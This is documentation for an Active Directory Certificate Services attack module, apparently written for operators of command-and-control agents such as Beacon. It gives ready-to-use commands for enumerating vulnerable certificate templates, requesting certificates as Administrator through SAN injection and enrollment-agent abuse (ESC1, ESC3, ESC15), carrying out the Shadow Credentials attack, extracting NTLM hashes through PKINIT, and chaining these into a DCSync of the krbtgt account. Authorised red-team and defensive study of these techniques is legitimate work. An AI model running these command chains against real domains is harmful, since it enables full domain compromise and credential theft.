ADCS-BOF — AD Certificates

The ADCS-BOF module enables exploitation of insecure Active Directory Certificate Services (AD CS) configurations. It includes CA and template enumeration, certificate requests, certificate-based authentication (PKINIT), and the Shadow Credentials attack.

All commands in this module use the certi prefix.

Compatible agents: Beacon, Gopher, Kharon
Platform: Windows

certi enum#

Enumerates all Certificate Authorities (CAs) and certificate templates available in the domain.

When to use: Always as the first step before any ADCS attack. The output identifies templates with vulnerable configurations such as:

• ESC1: Template that allows specifying an arbitrary Subject Alternative Name (SAN) with enrollment rights for low-privilege users
• ESC3: Enrollment Agent template that allows requesting certificates on behalf of other users
• ESC4: Insecure ACLs on templates that allow modification
• ESC8: HTTP enrollment endpoint without EPA (Extended Protection for Authentication)
• ESC15: Templates without application policy that allow injecting client authentication

certi enum

No arguments required.

certi auth#

Authenticates with a PFX certificate using the PKINIT protocol and extracts the user’s NTLM hash via the UnPAC-the-hash technique.

When to use: After obtaining a certificate (with certi request or certi shadow), use this command to convert it into a usable NTLM hash for pass-the-hash or to request TGTs with kerbeus asktgt.

certi auth --pfx /tmp/admin_cert.pfx
certi auth --pfx /tmp/admin_cert.pfx --password CertPass123
certi auth --cert MIIMcAIBAzCCDCwG.... --dc DC01.corp.local
certi auth --pfx /tmp/cert.pfx --no-unpac

* Either --cert or --pfx must be specified, not both.

certi request#

Requests a certificate from a CA. This is the main command for exploiting vulnerable templates.

When to use: When certi enum has revealed a vulnerable template. The most common scenarios:

ESC1 — SAN Injection#

If the template allows specifying a Subject Alternative Name, you can request a certificate as another user (e.g., Administrator):

certi request --ca "cert.corp.local\CORP-CA" --template VulnTemplate --altname "CN=Administrator,CN=Users,DC=corp,DC=local"

ESC1 with SID Extension#

For templates using the SID extension instead of UPN:

certi request --ca "cert.corp.local\CORP-CA" --template VulnTemplate --alturl "tag:microsoft.com,2022-09-14:sid:S-1-5-21-xxx-500"

ESC15 — Policy Injection#

certi request --ca "cert.corp.local\CORP-CA" --template VulnTemplate --policy

Standard Request#

certi request --ca "cert.corp.local\CORP-CA"
certi request --ca "cert.corp.local\CORP-CA" --template User --install
certi request --ca "cert.corp.local\CORP-CA" --machine

certi request_on_behalf#

Requests a certificate on behalf of another user using an Enrollment Agent certificate (ESC3 exploitation).

When to use: When you have an Enrollment Agent certificate (obtained from an ESC3 Step 1 template) and a second template allows requests on behalf of others.

ESC3 attack chain:

1. Request Enrollment Agent certificate: certi request --ca CA --template EnrollmentAgentTemplate
2. Use that certificate to request as another user: certi request_on_behalf ...
3. Authenticate with the obtained certificate: certi auth --pfx result.pfx

certi request_on_behalf --ca "cert.corp.local\CORP-CA" --template VulnTemplate --target "CORP\Administrator" --ea-pfx /tmp/ea_cert.pfx
certi request_on_behalf --ca "cert.corp.local\CORP-CA" --template VulnTemplate --target "CORP\Administrator" --ea-pfx /tmp/ea_cert.pfx --ea-password EAPass

certi shadow#

Executes the Shadow Credentials attack by writing the msDS-KeyCredentialLink attribute on an AD object and generating a certificate for PKINIT authentication.

When to use: When you have write permissions on an AD object (GenericAll, GenericWrite, or WriteProperty on msDS-KeyCredentialLink). It’s a form of persistence or privilege escalation that doesn’t require vulnerable ADCS templates.

Attack chain:

1. certi shadow --target victimUser → Obtain PFX certificate
2. certi auth --pfx certificate.pfx → Convert to NTLM hash
3. kerbeus asktgt /user:victimUser /rc4:HASH /ptt → Get TGT

certi shadow --target Administrator
certi shadow --target svc_sql --domain corp.local
certi shadow --target Administrator --no-write
certi shadow --target old_user --clear

Important: Use --clear after finishing to clean up attack artifacts.

Typical ADCS Exploitation Chain#

1. certi enum                                              → Identify vulnerable templates
2. certi request --ca CA --template Vuln --altname Admin   → Request cert as Admin (ESC1)
3. certi auth --pfx admin_cert.pfx                         → Obtain Admin's NTLM hash
4. dcsync single CORP\krbtgt                               → DCSync with obtained credentials